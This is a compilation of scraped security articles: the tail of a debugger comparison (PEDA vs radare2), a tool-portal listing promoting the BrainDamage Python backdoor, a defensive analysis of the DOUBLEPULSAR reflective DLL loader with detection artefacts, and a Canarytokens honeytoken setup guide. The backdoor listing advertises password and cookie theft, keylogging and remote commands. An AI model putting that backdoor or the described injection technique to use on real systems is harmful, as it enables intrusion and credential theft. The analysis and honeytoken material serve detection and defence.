    0048| 0x7fff1225ef08 --> 0xdeca45a1d59f8b89 
    0056| 0x7fff1225ef10 --> 0x4049a0 (xor    ebp,ebp)
    0064| 0x7fff1225ef18 --> 0x7fff1225efb0 --> 0x1 
    0072| 0x7fff1225ef20 --> 0x0
    gdb-peda$ context reg
    
    
     [----------------------------------registers-----------------------------------]
    RAX: 0x402a00 (push   r15)
    RBX: 0x0 
    RCX: 0x0 
    RDX: 0x7fff1225efc8 --> 0x7fff12261205 ("LC_PAPER=ro_RO.UTF-8")
    RSI: 0x7fff1225efb8 --> 0x7fff122611fd --> 0x736c2f6e69622f ('/bin/ls')
    RDI: 0x1 
    RBP: 0x413be0 (push   r15)
    RSP: 0x7fff1225eed8 --> 0x7fb93f6b9830 (<__libc_start_main+240>:	mov    edi,eax)
    RIP: 0x402a00 (push   r15)
    R8 : 0x413c50 (repz ret)
    R9 : 0x7fb93fc948e0 (<_dl_fini>:	push   rbp)
    R10: 0x846 
    R11: 0x7fb93f6b9740 (<__libc_start_main>:	push   r14)
    R12: 0x4049a0 (xor    ebp,ebp)
    R13: 0x7fff1225efb0 --> 0x1 
    R14: 0x0 
    R15: 0x0
    EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[/code]

## radare2

[code]

    [0x00402a00]> pxr @ rsp!80
    0x7ffe4ea90fb8  0x00007fc0a5275830   0X'..... (/lib/x86_64-linux-gnu/libc-2.23.so) library R X 'mov edi, eax' 'libc-2.23.so'
    0x7ffe4ea90fc0  0x0000000000000000   ........ r15
    0x7ffe4ea90fc8  0x00007ffe4ea91098   ...N.... rsi stack R W 0x7ffe4ea931a0 --> stack R W 0x736c2f6e69622f (/bin/ls) --> ascii
    0x7ffe4ea90fd0  0x0000000100000000   ........
    0x7ffe4ea90fd8  0x0000000000402a00   .*@..... (.text) (/bin/ls) rip program ascii R X 'push r15' 'ls'
    0x7ffe4ea90fe0  0x0000000000000000   ........ r15
    0x7ffe4ea90fe8  0xd73cce5c2543d7a1   ..C%\.<.
    0x7ffe4ea90ff0  0x00000000004049a0   .I@..... (.text) (/bin/ls) r12 program R X 'xor ebp, ebp' 'ls'
    0x7ffe4ea90ff8  0x00007ffe4ea91090   ...N.... r13 stack R W 0x1 --> (.gnu_debuglink) rdi
    0x7ffe4ea91000  0x0000000000000000   ........ r15
    [0x00402a00]> drr
      orax 0xffffffffffffffff  orax
       rax 0x0000000000402a00  (.text) (/bin/ls) rip program ascii R X 'push r15' 'ls'
       rbx 0x0000000000000000  r15
       rcx 0x0000000000000000  r15
       rdx 0x00007ffe4ea910a8  rdx stack R W 0x7ffe4ea931a8 --> stack R W 0x524e54565f474458 (XDG_VTNR=7) --> ascii
        r8 0x0000000000413c50  (.text) (/bin/ls) r8 program ascii R X 'ret' 'ls'
        r9 0x00007fc0a58508e0  (/lib/x86_64-linux-gnu/ld-2.23.so) r9 library R X 'push rbp' 'ld-2.23.so'
       r10 0x0000000000000846  r10
       r11 0x00007fc0a5275740  (/lib/x86_64-linux-gnu/libc-2.23.so) r11 library R X 'push r14' 'libc-2.23.so'
       r12 0x00000000004049a0  (.text) (/bin/ls) r12 program R X 'xor ebp, ebp' 'ls'
       r13 0x00007ffe4ea91090  r13 stack R W 0x1 --> (.gnu_debuglink) rdi
       r14 0x0000000000000000  r15
       r15 0x0000000000000000  r15
       rsi 0x00007ffe4ea91098  rsi stack R W 0x7ffe4ea931a0 --> stack R W 0x736c2f6e69622f (/bin/ls) --> ascii
       rdi 0x0000000000000001  (.gnu_debuglink) rdi
       rsp 0x00007ffe4ea90fb8  rsp stack R W 0x7fc0a5275830 --> (/lib/x86_64-linux-gnu/libc-2.23.so) library R X 'mov edi, eax' 'libc-2.23.so'
       rbp 0x0000000000413be0  (.text) (/bin/ls) rbp program R X 'push r15' 'ls'
       rip 0x0000000000402a00  (.text) (/bin/ls) rip program ascii R X 'push r15' 'ls'
    rflags 0x0000000000000246  rflags
[/code]

# Breakpoint commands

## PEDA

[code]

    gdb-peda$ commands 1
    gdb-peda$ commands 1
    Type commands for breakpoint(s) 1, one per line.
    End with a line saying just "end".
    >set $rax=0xdeadbeef
    >set $rbx=0xdeadc0de
    >end
    gdb-peda$ i b
    Num     Type           Disp Enb Address            What
    1       breakpoint     keep y   0x0000000000402a00 
    	breakpoint already hit 1 time
            set $rax=0xdeadbeef
            set $rbx=0xdeadc0de
    
[/code]

## radare2

Warning: some commands may not work properly with `dbc`.

[code]

    [0x7fcd2c7a2cc0]> "dbc main pi 10;pxr@rsp!8;ps @ 0x0041a5f6"
    [0x7fcd2c7a2cc0]> dc
    = attach 5283 1
    hit breakpoint at: 402a00
      
    
    mov rdi, rsp
    call 0x7fcd2c7a6c00
    mov r12, rax
    mov eax, dword [rip + 0x224fa7]
    pop rdx
    lea rsp, [rsp + rax*8]
    sub edx, eax
    push rdx
    mov rsi, rdx
    mov r13, rsp
    0x7ffffe8da290  0x0000000000000001   ........ (.gnu_debuglink)
    CHARSETALIASDIR
[/code]

# Closing remarks

Radare2 also has numerous features which PEDA lacks, such as CFG, heap
analysis, renaming variables and arguments in the disassembly and many more.
One thing which r2 is missing is a nice pwntools integration \(although I
think this can be easily done on the fly by attaching r2 to the running
process. r2pipe + pwntools, however, would be a different story\).

Still feel like missing something? Drop me a line or ask on \#radare on
freenode.

  

# ToolsWatch.org – The Hackers Arsenal Tools Portal » BrainDamage Python
Backdoor

**Created:**| _5/20/2017 8:53:56 PM_  
---|---  
**Updated:**| _5/20/2017 8:53:56 PM_  
**Author:**| __  
**Tags:**| _python backdoor_  
  

  

# BrainDamage Python Backdoor

_**BrainDamage**_ is a python based backdoor which uses Telegram as C&C
server.

### **Features**

[code]

    --> Persistance
    --> USB spreading
    --> Port Scanner
    --> Router Finder
    --> Run shell commands
    --> Keylogger
    --> Insert keystrokes
    --> Record audio
    --> Webserver
    --> Screenshot logging
    --> Download files in the host
    --> Execute shutdown, restart, logoff, lock
    --> Send drive tree structure
    --> Set email template
    --> Rename Files
    --> Change wallpaper
    --> Open website
    --> Send Password for
     • Chrome
     • Mozilla
     • Filezilla
     • Core FTP
     • CyberDuck
     • FTPNavigator
     • WinSCP
     • Outlook
     • Putty
     • Skype
     • Generic Network
    --> Cookie stealer
    --> Send active windows
    --> Gather system information
     • Drives list
     • Internal and External IP
     • Ipconfig /all output
     • Platform
[/code]

### **Abilities**

  * whoisonline- list active slaves  
This command will list all the active slaves.

  * destroy- delete&clean up  
This command will remove the stub from host and will remove registry entries.

  * cmd- execute command on CMD  
Run shell commands on host

  * download- url \(startup, desktop, default\)  
This will download files in the host computer.

  * execute- shutdown, restart, logoff, lock  
Execute the following commands

  * screenshot- take screenshot  
Take screenshot of the host of computer.

  * send- passwords, drivetree, driveslist, keystrokes, openwindows  
This command will sends passwords \(saved browser passwords, FTP, Putty..\),
directory tree of host \(upto level 2\), logged keystrokes and windows which
are currently open

  * set- email \(0:Default,1:URL,2:Update\), filename \(0: Itself, 1: Others\), keystrokes \(text\)  
This command can set email template \(default, download from url, update
current template with text you’ll send\), rename filenames or insert
keystrokes in host.

  * start- website \(URL\), keylogger, recaudio \(time\), webserver \(Port\), spread  
This command can open website, start keylogger, record audio, start webserver,
USB Spreading

  * stop- keylogger, webserver  
This command will stop keylogger or webserver

  * wallpaper- change wallpaper \(URL\)  
Changes wallpaper of host computer

  * find- openports \(host, threads, ports\), router  
This command will find open ports and the router the host is using

  * help- print this usage

More Information: here

Download BrainDamage

**Tags:** Backdoor, BrainDamage, Social Engineering

#### About the Author

MaxiSoler ToolsWatcher :\) @maxisoler

### Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked \*

Comment

Name \*

Email \*

Website

  

# DOUBLEPULSAR Usermode Analysis: Generic Reflective DLL Loader | Countercept
**Created:**| _5/10/2017 9:40:24 AM_  
---|---  
**Updated:**| _5/10/2017 9:40:24 AM_  
**Author:**| __  
**Tags:**| __  
  

  

# DOUBLEPULSAR Usermode Analysis: Generic Reflective DLL Loader

We previously released an analysis of the kernel mode payload of the
DOUBLEPULSAR payload that detailed how the kernel mode shellcode loaded a DLL
into a target process using an Asynchronous Procedure Call \(APC\). However,
the kernel payload did not actually perform the DLL load, but rather set up
the APC call with some user mode shellcode that would perform the load.

This attracted our interest as the payload worked with any arbitrary DLL, but
did not make use of the standard LoadLibrary call. Avoiding LoadLibrary can
make the load more stealthy as it avoids the need to write the DLL to disk,
can avoid anything monitoring LoadLibrary calls, and can also avoid having an
entry in the Process Environment Block \(PEB\), which is usually how a list of
loaded modules is obtained. Such techniques are now fairly common place, but
up to now we were not aware of any public code that could load an arbitrary
DLL in this way – existing code requires the DLL to be custom built to support
being loaded. DOUBLEPULSAR is different in that it implements a more complete
loader that can load almost any DLL. In addition, it works on almost any
version of Windows as-is.

This article details the technique used by this user mode part of DOUBLEPULSAR
and provides a test utility \(available here\) that can make use of the
shellcode in a standalone form so it can be easily seen in action and
detection mechanisms tested against it. The utility does not use any kernel
mode code, and simply makes use of the user mode loader to inject an arbitrary
DLL into a target process. While there is a 32-bit version of this shellcode
as we have only analyzed the 64-bit version at this time.

A high level breakdown of the steps taken by the shellcode are given below. A
more detailed analysis follows.

  1. A call-pop is used to self-locate so the shellcode can use static offsets from this address.
  2. Required Windows API functions are located by matching hashed module names, and looping through and exported function to match hashed function names.
  3. The DLL headers are parsed for key metadata.
  4. Memory is allocated of the correct size, at the preferred base address if possible. Any offset from the preferred base address is saved for later use.
  5. Each section from the DLL is copied into the appropriate offset in memory.
  6. Imports are processed, with dependent libraries loaded \(using LoadLibrary\) and the Import Address Table \(IAT\) is filled in.
  7. Relocations are processed and fixed up according to the offset from the preferred base address.
  8. Exception \(SEH\) handling is set up with RtlAddFunctionTable.
  9. Each section’s memory protections are updated to appropriate values based on the DLL headers.
  10. DLLs entry point is called with DLL\_PROCESS\_ATTACH.
  11. The requested ordinal is resolved and called.
  12. After the requested function returns, the DLL entry point is called with DLL\_PROCESS\_DETACH.
  13. RtlDeleteFunctionTable removed exception handling.
  14. The entire DLL in memory is set to writable, and zeroed out.
  15. The DLLs memory is freed.
  16. The shellcode then zeros out itself, except for the very end of the function, which allows the APC call to return gracefully.

Towards the start of the shellcode we see a call-pop combination, where the
next instruction is called and the return address immediately popped into a
register. This allows the code to find its own address, and to use a static
offset from this to find data in its own buffer.

<img src='img/Temp2_1904.png' width='576' height='144' alt='1 call pop' />

We then enter a loop that takes values starting at offset 0xF0C in the
shellcode and passes these to a function through rdx and rcx. This function,
which we will call find\_func, locates Windows API functions that the rest of
the shellcode will need. The values it receives are a hash of the module name
\(in rdx\) and a hash of the function name \(in rcx\). As these are just
names, they can be hardcoded and will not change in different Windows builds.

It locates loaded modules from the PebLdr field in the Thread Environment
Block \(TEB\), loops through each one hashing its name to look for a match.
Note that the module name hash is passed in through rdx and is pushed to the
stack as part of a normal function prologue, and the shellcode accesses it on
the stack from then on.

<img src='img/Temp2_1899.png' width='576' height='564' alt='2 module name
hash' />

When a match is found, it moves on to a function matching loop, which operates
in much the same way, but using exported function names from the exports table
of the module. This is achieved by parsing the headers of the module in memory
to find the IMAGE\_DIRECTORY\_ENTRY\_ARRAY which contains Relative Virtual
Addresses \(RVAs\) to various image directory entries, including
IMAGE\_DIRECTORY\_ENTRY\_EXPORT which holds export information. The RVA can be
converted to the real address of these items by adding them to the base
address of the module in memory. This parsing of PE headers is used
extensively throughout the shellcode.

The IMAGE\_DIRECTORY\_ENTRY\_EXPORT structure contains RVAs to various arrays.
AddressOfFunctions is an array of RVAs to the exported functions themselves.
AddressOfNames is a parallel array of the ASCII names of these functions.
AddressOfNameOrdinals is another parallel array containing ordinal information
about the functions. These arrays can be iterated over with the function names
being hashed to look for a match, and when found the address of the function
can be resolved and saved.

<img src='img/Temp2_1901.png' width='576' height='382' alt='3 function name
match' />

The function pointers are saved in a local structure on the stack. This
structure is used to store various things as the shellcode executes including
these function pointers. It is generally accessed via rsi. The format of the
structure is shown below, which also shows which functions are resolved by
this loop \(other values are initialized later on\).

<img src='img/Temp2_1907.png' width='576' height='438' alt='4 local struct' />

The function pointers are written to this struct after each call to find\_func
here:

<img src='img/Temp2_1908.png' width='576' height='191' alt='5 save func ptr'
/>

You will also see another structure referenced usually through rbp, which
exists in a blank chunk of memory in the shellcode buffer, initially just
containing zeros, which is used as a scratch space. The structure shown below
shows the format of what is stored where in this memory, which starts at
offset 0x368 into the shellcode.

<img src='img/Temp2_1884.png' width='576' height='426' alt='4a other struct'
/>

After locating the functions which the shellcode needs, the DLL is copied into
a newly allocated bit of memory, and zeroed out from the shellcode buffer
itself. This will not be the location where the DLL is properly loaded into,
but just a temporary location holding the raw data of the DLL. This makes use
of one of the previously located functions, kernel32\!VirtualAllocStub \(which
is a simple wrapper around VirtualAlloc\).

The size of the DLL comes from a value written at the end of the shellcode, in
between the shellcode and the DLL in the shellcode buffer. This is one of just
2 values which are customised in the shellcode, the other being the ordinal
that should be called on the DLL once loaded. The layout of the shellcode
buffer looks like this:

<img src='img/Temp2_1888.png' width='351' height='325' alt='Special' />

These values are referenced relative to the address obtained by the self-
locating pop-call instructions at the start, which placed the address of
offset 0x25 in the shellcode buffer into rbp. Thus we see the size for the DLL
memory allocation coming from \[rbp+0xF5D\] which is 0x25+0xF5D, or 0xF82
offset into the shellcode buffer.

<img src='img/Temp2_1892.png' width='576' height='394' alt='6 alloc copy and
zero' />

The DLL’s headers are then parsed to verify that the DLL is the correct
architecture \(32-bit vs 64-bit\). If it is the wrong architecture the
shellcode stops further processing to avoid any errors. Some useful values
from the header are also saved for later use, such as a pointer to the
SectionHeaders and the IMAGE\_DATA\_DIRECTORY\_ARRAY which are used later on
in the loading process.

<img src='img/Temp2_1902.png' width='576' height='494' alt='7 parse headers'
/>

Space is then allocated for the DLL to be properly loaded into. The size for
this area does not come from the size of the DLL as it would take on disk, but
from the SizeOfImage value in the DLL’s headers which refers to the size it
will take when properly loaded into memory. The preferred base address from
the headers is requested in the VirtualAlloc call, but if this is not
available then the space is allocated somewhere else.

<img src='img/Temp2_1890.png' width='576' height='556' alt='8 main alloc' />

The offset from the preferred base address is stored for later use in
relocation.

<img src='img/Temp2_1896.png' width='576' height='100' alt='9 preferred base
offset' />

The DLLs headers are then copied into the new memory area, by copying from the
start of the DLL with a size from the SizeOfHeaders header field. After this,
each section is identified and copied into the correct location in memory in a
loop. This uses header fields like NumberOfSections to iterate over all the
section headers, and from each section header PointerToRawData, SizeOfRawData
and VirtualAddress are obtained which are used to locate the raw data of the
section in DLL buffer and copy it into the correct location for the loaded
DLL.

<img src='img/Temp2_1891.png' width='576' height='374' alt='10 load sections'
/>

The imports are now loaded. At the start of this process, another region of
memory is allocated, but this is only used by a function which appears to be
unused. It is possible that it could be legacy functionality that is no longer
required.

The Import Table is parsed and each library is loaded with LoadLibrary. This
is of course less stealthy, but we assume the user can either avoid dependent
libraries, or only use Windows libraries that are more likely to be ignored as
legitimate libraries in a process. The import tables are located using
IMAGE\_DIRECTORY\_ENTRY\_IMPORT entry in the IMAGE\_DIRECTORY\_ENTRY\_ARRAY, a
pointer to which was saved earlier when the DLL’s headers were initially
parsed. The import table is then walked, resolving the offset to each library
name string and calling LoadLibrary on it.

Each function imported from the library is them identified using the
FirstThunk value from the import table, which has an offset to an
IMAGE\_IMPORT\_BY\_NAME structure, or an ordinal depending whether functions
are imported by name or ordinal. The value of FirstThunk is checked against
the bitmask 0x8000000000000000, which is the IMAGE\_ORDINAL\_FLAG64 mask; if
set this value contains an ordinal in the lower bits, and if not set then it
will be an import by name and the offset to the function name string can be
located. GetProcAddress is then called to resolve the function address.

During this process the scratch space referenced by rbp is used to save
certain things temporarily, such as latest FirstThunk value and the offset to
IMAGE\_IMPORT\_BY\_NAME.

<img src='img/Temp2_1900.png' width='576' height='480' alt='11 imports 1' />

The address is then written back to FirstThunk in the import table as a bound
import.

We also see a call to the function that makes use of the mystery memory that
was allocated earlier. However, this call can never be reached as before it is
a call to a function that just sets rax to 1, and a jump over the call if rax
is not 0. This is very unusual, and as it appears to be an unused function it
was not analyzed at this time.

<img src='img/Temp2_1897.png' width='576' height='302' alt='12 imports 2' />

After processing imports, the image base in the headers of the loaded DLL is
updated to reflect the real base address we ended up loading at.

<img src='img/Temp2_1903.png' width='576' height='300' alt='13 write real
image base' />

Relocations are now dealt with, to account for any offset from the preferred
base address of the DLL. IMAGE\_DIRECTORY\_ENTRY\_BASERELOC is found from the
headers, and used to iterate through all the relocations and fix them up if
necessary. Only relocations of type IMAGE\_REL\_AMD64\_ADDR32NB,
IMAGE\_REL\_AMD64\_SECTION and IMAGE\_REL\_AMD64\_ABSOLUTE are handled \(and
ABSOLUTE is ignored by design anyway\).

Each relocation table is iterated through, taking each Block entry and
checking the first 4 bits to determine the relocation type. Depending on the
type, the last 12 bits are used as the relocation value, and the relocation is
found and updated based on the offset from the preferred base address.

<img src='img/Temp2_1906.png' width='576' height='497' alt='14 reloc' />

Exceptions are set up using IMAGE\_DIRECTORY\_ENRTY\_EXCEPTION and a call to
RtlAddFunctionTable.

<img src='img/Temp2_1895.png' width='576' height='566' alt='15 exception' />

Each section then has its memory protections updated to the appropriate values
from the SectionHeaders with a call to VirtualProtect.

<img src='img/Temp2_1909.png' width='576' height='726' alt='16 update
protections' />

The DLL entry point is then located using AddressOfEntryPoint in the headers,
and is called with DLL\_PROCESS\_ATTACH \(which has the value 1\) to let the
DLL know it is loaded. This completes the loading process.

<img src='img/Temp2_1894.png' width='576' height='590' alt='17 dllentry
attach' />

With the DLL now loaded, the ordinal requested to be called is resolved to a
function, and the function is called. The ordinal value is found using the
address from the self-locating call-pop instructions, just like the DLL size
before, but is found at offset 0xF86 in the shellcode buffer.

The ordinal Base value is obtained from the DLL headers, this is the start
value for ordinals in the library. Subtracting this from the requested ordinal
provides the index into the exported functions array AddressOfFunctions for
the required function. This provides the RVA to the function which can be
added to the image base address to get the real address of the function.

The function gets some stack space and arguments in registers rcx, rdx and r8.
Of course if the function accepts no arguments, the presence of these
arguments and stack space will not make any difference to the function, but
any custom written DLL may wish to take advantage of these. The return value
is saved on the stack by the shellcode, although it is never actually used for
anything.

<img src='img/Temp2_1898.png' width='576' height='496' alt='18 call ordinal'
/>

After the function returns, cleanup begins. The DLL is unloaded and \(most\)
things are zeroed out in memory. First the DLL entry point is called with
DLL\_PROCESS\_DETACH \(which has a value of 0\).

<img src='img/Temp2_1886.png' width='488' height='287' alt='19 dllentry
detach' />

Exceptions are cleaned up with RtlDeleteFunctionTable.

<img src='img/Temp2_1889.png' width='576' height='124' alt='20 remove
exception' />

The loaded DLL’s memory is made writable so it can be zeroed out, and then the
memory is freed. In the course of this the VurtualProtectStub call requires a
pointer to a writable location for the lpflOldProtect parameter, though we do
not care about its value a pointer must be provided, so a location in the
scratch space referenced through rbp is provided.

<img src='img/Temp2_1893.png' width='576' height='329' alt='21 zero unalloc
dll' />

The shellcode then zeroes itself out, all except for a small function epilogue
which must remain to allow the function to return properly. A side effect of
this is a small memory artefact after exploitation.

<img src='img/Temp2_1910.png' width='576' height='538' alt='22 zero self' />

#### Memory Artefacts

After a DLL has been executed by DOUBLEPULSAR there are still a couple of
memory artefacts left behind that can be detected. Firstly, the memory that is
allocated at the beginning which the DLL is copied into from the shellcode
buffer is never zeroed out or freed. This is a little bit unusual as efforts
are taken elsewhere to remove as much as possible from memory, yet this memory
region is left there with PAGE\_EXECUTE\_READWRITE permissions and a full copy
of the DLL.

In fact, this memory area does not even need execute permissions as it is just
used for read and write. This is especially unusual because the combination of
read, write and execute is quite suspicious as this is rarely needed by
legitimate processes and is usually only seen in the course of exploitation.
That fact that it also starts with an unmodified MZ header is even more
suspicious. Furthermore, it does not appear that this memory area is really
needed at all, as the DLL could just be loaded directly from the shellcode
buffer, with the self-locating call-pop instructions being enough to locate
the DLL.

It may be that this memory region is a legacy thing from an older, less
sophisticated reflective load, and was never properly refactored when the
newer technique was coded up. Regardless, you will have in memory a suspicious
memory region containing a copy of the DLL which was executed on the host. You
may also see several of these memory regions if the payload was executed more
than once.

The other memory artefact is one that is more difficult to avoid. This is the
function epilogue of the main function of the shellcode which is executed by
the APC call. This is needed to ensure the function can return cleanly and
avoid crashing the process, and although there are ways to make it smaller it
would be challenging to avoid any minor trace.

What you will see then is a memory region with PAGE\_EXECUTE\_READWRITE
containing mostly zeros. At offset 0xF70 you will see:

f3 aa 58 41 5f 41 5e 41 5d 41 5c 5e 5f 5d 5b c3 eb 08

After this will be two 32-bit integers, the first of which is the size of the
DLL injected, the second is the ordinal that was executed in the DLL. These
two values will of course be different each time, and are not therefore
suitable for a static signature. They could however be used to work out which
DLL was executed \(as it will still be mapped in the other RWX memory region
with that size\) and what function was executed in that DLL.

Using this information you will be able to obtain artefacts from memory that
can reconstruct a large part of the attack that was carried out using the
DOUBLEPULSAR backdoor.

#### Test the Payload with DOUBLEPULSAR-usermode-injector

We have released a small utility that can be used to invoke the usermode DLL
loading mechanism of the DOUBLEPULSAR payload in order to test detection
mechanisms and perform further research. This will use the shellcode to inject
a DLL into a process of your choice, entirely from usermode.

The utility is available here.

Interestingly, the shellcode is generic enough that it can be triggered in
various ways. As an example, the utility will queue a usermode APC in a
similar way to the kernel payload, but can also trigger the shellcode using
CreateRemoteThread in a similar way to more common DLL injection techniques
\(but still avoiding LoadLibrary\).

The screenshot below shows the tool in use, injecting a DLL that pops up a
message box into a calc.exe process.

<img src='img/Temp2_1905.png' width='576' height='292' alt='23 tool in use' />

After execution, two memory pages are seen that have PAGE\_EXECUTE\_READWRITE
that are not associated with an ordinarily loaded DLL image.

<img src='img/Temp2_1885.png' width='576' height='227' alt='24 windbg memory
after' />

One of these regions we can see is mostly filled with zeros, but with the
small epilogue artefact at 0xF70. The other contains the original raw DLL.

<img src='img/Temp2_1887.png' width='576' height='448' alt='24 windbg memory
after detail' />

  

# How You Can Set up Honeytokens Using Canarytokens to Detect Intrusions

**Created:**| _5/10/2019 8:25:06 AM_  
---|---  
**Updated:**| _5/10/2019 8:25:06 AM_  
**Author:**| __  
**Tags:**| _Detection intrusion_  
  

  

# How You Can Set up Honeytokens Using Canarytokens to Detect Intrusions

<img src='img/honeytoken-768x398.jpg' width='2000' height='1036' />

A honeytoken is data or a computing resource that exists solely to alert you
when someone accesses it. This type of a honeypot could take many forms,
including a user account that no one should use, a file that no one should
access, and a link that no one should click. The open source application
Canarytokens, created by Thinkst, makes it easy to start experimenting with
this approach to detecting and tracking cyber-adversaries.

Here’s how you can generate your own Canarytokens and even set up your own
dedicated Canarytokens environment.

## What Are Canarytokens?

Thinkst sees honeytokens as a “quick, painless way to help defenders discover
they’ve been breached \(by having attackers announce themselves\).” To
accomplish this, you can use the open source Canarytokens web application to
generate tokens such as:

  * A URL an adversary might visit \(a web bug\)
  * A hostname an adversary might resolve
  * A PDF or Microsoft Word document an adversary might open
  * An AWS key an adversary might try to use

When the intruder accesses or uses the honeytoken, Canarytokens will email you
and share a few details about the event.

## Quickly Generating Canarytokens

The easiest way to get a sense for Canarytokens’ capabilities is to use the
version of the app that Thinkst hosts for free at canarytokens.org. The site
lets you generate and monitor honeytokens without setting up your own
infrastructure:

<img src='img/hosted-canarytokens-768x300.png' width='705' height='275' />

The downside of using the hosted Canarytokens version is that you give up
control over the data the app generates. Also, you cannot customize the domain
for tracking tokens’ activities \(adversaries might know about
canarytokens.org\). For more control, you can deploy your own Canarytokens
instance.

## Deploying Your Own Canarytokens Server

If you’d like to retain full control over your honeytokens, set up your own
Canarytokens server. This is a relatively straightforward process, though it
does require registering a domain name in addition to installing Canarytokens
software on an internet-accessible system.

### Create a VM in a Public Cloud

You can host Canarytokens on an inexpensive Linux system in a public cloud. I
like DigitalOcean \(the link includes my referral code\) for this in part
because it offers a capable virtual machine for as little as $5 per month. You
can start by deploying a DigitalOcean “droplet” running Ubuntu there in a few
clicks:

<img src='img/digitalocean-droplet-os-768x128.png' width='705' height='118' />

<img src='img/digitalocean-droplet-size-768x149.png' width='705' height='137'
/>

Make a note of your new VM’s public IP address. Then boot up the VM and log
into it.

### Install Docker in the VM

After logging into your VM, execute the following commands to prepare for
installing Docker there:

[code]

    apt-get -y update  
    apt-get -y upgrade  
    apt-get -y install apt-transport-https \  
      ca-certificates curl gnupg-agent \  
      software-properties-common  
    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | \  
      sudo apt-key add -  
    
[/code]

Now confirm that you have the right GPG key with the fingerprint _9DC8 5822
9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88_. To do this, search the keyring on
your VM for its last eight characters:

[code]

    apt-key fingerprint 0EBFCD88  
    
[/code]

You should see the key that matches the fingerprint above. Continue installing
Docker:

[code]

    add-apt-repository \  
        "deb [arch=amd64] https://download.docker.com/linux/ubuntu \  
        $(lsb_release -cs) stable"  
    apt-get -y update  
    apt-get -y install docker-ce  
    
[/code]

### Register and Set Up Your Domain for Canarytokens

Before proceeding, you’ll need to register a domain name that you’ll use
exclusively for Canarytokens:

  * Configure your domain’s DNS settings to create an “A” record for your domain to point to the public IP of your Canarytokens VM. \(If you need to specify the resource name for the record, use “@”.\)
  * If you’re planning to use PDF honeytokens, create an “NS” record for some subdomain name and point it to the domain name you specified in the “A” record.
  * If you’re planning to enable HTTPS on your Canarytokens server, also create a “www”

For example, if using example.com as your Canarytokens domains and if your
VM’s public IP is 93.184.216.34, you’d create the following DNS records:

_Name_|  _Type_|  _Data_  
---|---|---  
@| A| 93.184.216.34  
nx| NS| example.com  
www| CNAME| example.com  
In the example above, ns.example.com is the domain you’d use for PDF
honeytokens. You could change the subdomain from “nx” to whatever you want.

### Install and Configure Canarytokens

Once you’ve registered the domain name and designated your VM as its DNS
server, proceed with installing Canarytokens:

[code]

    apt-get -y install python-pip python-dev apache2-utils  
    pip install -U docker-compose  
    git clone https://github.com/thinkst/canarytokens-docker  
    cd canarytokens-docker
[/code]

Next, modify the Canarytokens configuration files frontenv.env and
switchboard.env like this:

Edit the **frontenv.env** file. Specify the domain name you’ve set up for
Canarytokens as the _CANARY\_DOMAINS_ parameter. If you’ve registered a
subdomain for PDF tokens, specify it as the _CANARY\_NXDOMAINS_ parameter;
otherwise, set _CANARY\_NXDOMAINS_ to the same value as _CANARY\_DOMAINS_ ,
but know that in this case you won’t be able to generate PDF honeytokens.

If you’d like Canarytokens to generate a geolocation map for your incidents,
specify your Google Maps API key in the _CANARY\_GOOGLE\_API\_KEY_ parameter
in **frontenv.env** and uncomment the corresponding line. To get this key
you’ll need to enable billing in your Google Cloud account.

Edit the **switchboard.env** file. Specify the public IP address of your
server as _CANARY\_PUBLIC\_IP_. Also, specify as _CANARY\_PUBLIC\_DOMAIN_ the
domain you used earlier for the _CANARY\_DOMAINS_ parameter and uncomment the
corresponding line.

If you’d like to receive email alerts, set the parameters whose names start
with _CANARY\_ALERT\_EMAIL_. You’ll also need to set up an account with
Mailgun \(free tier available\), Mandrill, or SendGrid \(free tier
available\). Specify the details as the corresponding parameters and uncomment
the appropriate lines.

### Start the Canarytokens App

You’re now ready to start the Canarytokens app. If you’d like to run the
software in the foreground of your terminal, use the following command:

[code]

    docker-compose up
[/code]

To run Canarytokens software in the background, use the following command
instead:

[code]

    docker-compose up -d
[/code]

The first time you start the app, it’ll download the necessary code \(in the
form of Docker images\). This can take 10 minutes or so. You’ll know it’s done
when you see a message like: “Attaching to redis, frontend, switchboard,
nginx.” The software will cache the Docker images, so the next time
Canarytokens will starts quickly.

Once Canarytokens is running, use your web browser to visit the **/generate**
URL on the server where you’ve activated Canarytokens \(e.g.,
_example.com/generate_\). You should see the Canarytokens interface for
generating your very own honeytokens.

## Running Your Canarytokens App

After connecting through your web browser to your Canarytokens instance,
generate some honeytokens. Consider starting with a simple web bug / URL
token, which will alert you when someone accesses the link.

When generating this token, provide the email address where you want
Canarytokens to send the alert when the token is accessed. Also include the
token’s description. Then click the _Create my Canarytoken_ button.

The app will generate a unique URL for your token and present you with a page
like this:

<img src='img/web-token-active-768x315.png' width='705' height='289' />

When someone accesses this URL, Canarytokens will email you an alert that will
specify the IP address from which the token was accessed, along with other
details like the browser’s User Agent string. The message will also include a
link to your Canarytokens server where you’ll see the history of this token.

To terminate the Canarytokens app on your server, press Ctrl+C in the terminal
where you’ve launched it, if you ran the app using the _docker-compose up_
command. If you launched Canarytokens in the background using docker-_compose
up -d_ , run the command _docker-compose down_ from the _canarytokens-docker_
directory.

Canarytokens saves its data in the **dump.rdb** file in the _canarytokens-
docker/data_ directory. This way, it will remember your earlier tokens the
next time you start the app. If you want to start with a clean slate, remove
the file.

### Enable HTTPS on Canarytokens

If you’d like to enable HTTPS on your Canarytokens server, terminate your
Canarytokens app. Then edit the **certbot.env** file in the _canarytokens-
docker_ directory to specify the details the app will use when requesting a
free TLS/SSL certificate from Let’s Encrypt.

Specify your Canarytokens domain name as the _MY\_DOMAIN\_NAME_ parameter.
Specify your email address as the EMAIL\_ADDRESS parameter, which the app will
provide to Let’s Encrypt when generating the certificate. \(As noted above,
make sure that you’ve registered the “www” alias for your Canarytokens domain
before proceeding.\)

Now, instead of using the command _docker-compose up_ to start your
Canarytokens app, use the following command from the _canarytokens-docker_
directory:

[code]

    docker-compose -f docker-compose-letsencrypt.yml up
[/code]

Supply the “-d” parameter at the end if you’d like to run the app in the
background. In this case, you’ll use the following command to terminate the
app:

[code]

    docker-compose -f docker-compose-letsencrypt.yml down
[/code]

Note that every time you start up the HTTPS-enabled Canarytokens app, you’ll
request a new certificate from Let’s Encrypt, which limits how many certs it
will issue for a domain in a given period. If you frequently restart
Canarytokens, you’ll reach your limit. If that happens, you’ll only be able to
access your Canarytokens site using HTTP until you restart your app after
waiting the appropriate time \(probably about a week\).

### Password-Protect Canarytokens Management

